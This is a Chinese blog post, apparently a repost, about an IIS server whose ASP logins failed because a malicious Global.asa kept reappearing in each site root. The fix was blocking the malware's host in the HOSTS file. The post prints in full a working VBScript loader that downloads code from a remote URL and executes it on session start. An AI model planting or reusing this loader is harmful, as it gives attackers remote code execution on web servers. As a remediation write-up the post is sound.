IIS被掛馬,導致 ASP 中 Session 失效的問題

來源:互聯網
上載者:User

幫別人維護了一個小伺服器,放了幾個小企業網站,有ASP的,也有ASP.NET的。

這段時間發現 ASP 網站登入不上,密碼不錯,而且明顯是有登入成功的跳轉,但轉眼就又回到登入頁面了。由此基本可以確定,伺服器端狀態無法保持,即 Session 無法使用。

百度了幾下,有專業的同學講的比較全,給出的方案有代碼問題,程式配置問題,也有被掛馬的問題。根據其提到的這些問題,檢查了一下發現確實每一個網站根目錄都儲存了一個名為 Global.asa 或 Global.asax 的檔案。很是賤!

使用網上說的刪除檔案的方法,試了試,可以。但過不了幾秒鐘他又會自動建立。更是賤!妹的!

扯蛋了一會兒,實在木辦法,研究一下這個檔案。內容如下:

<script language="vbscript" runat="server">'by*amingsub Application_OnStartend subsub Application_OnEndend subsub Session_OnStart    On Error Resume Next    url="http://glo.100500.com/xml/global.asaquan.txt"    Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")    ObjXMLHTTP.Open "GET",url,False    ObjXMLHTTP.setRequestHeader "User-Agent",url    ObjXMLHTTP.send    GetHtml=ObjXMLHTTP.responseBody    Set ObjXMLHTTP=Nothing    set objStream = Server.CreateObject("Adodb.Stream")    objStream.Type = 1    objStream.Mode =3    objStream.Open    objStream.Write GetHtml    objStream.Position = 0    objStream.Type = 2    objStream.Charset = "gb2312"    GetHtml = objStream.ReadText    objStream.Close    set objStream=Nothing    if instr(GetHtml,"by*aming")>0 then        execute GetHtml    end ifend sub'sub Session_OnEnd'end sub</script>

代碼裡並沒有特別惡意的東西,但是它卻請求了一個網路地址http://glo.100500.com/xml/global.asaquan.txt。開啟這個地址,果然發現一堆賤B代碼。

具體代碼不分析了,肯定是不懷好意的東西。妹的!

即然刪不掉,怎麼辦呢?

突然想到一些安全軟體用來屏蔽廣告外掛程式的方法:改Hosts檔案。

隨即開啟C:\Windows\System32\drivers\etc下的HOSTS檔案,添加一行內容:

127.0.0.1     glo.100500.com

OK,你妹的,刪掉所有Global.asa 和 Global.asax 檔案,再等一會兒,果然不會再建立了。擦。。。孫子的。。

再過幾個小時,依然安全。。。

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.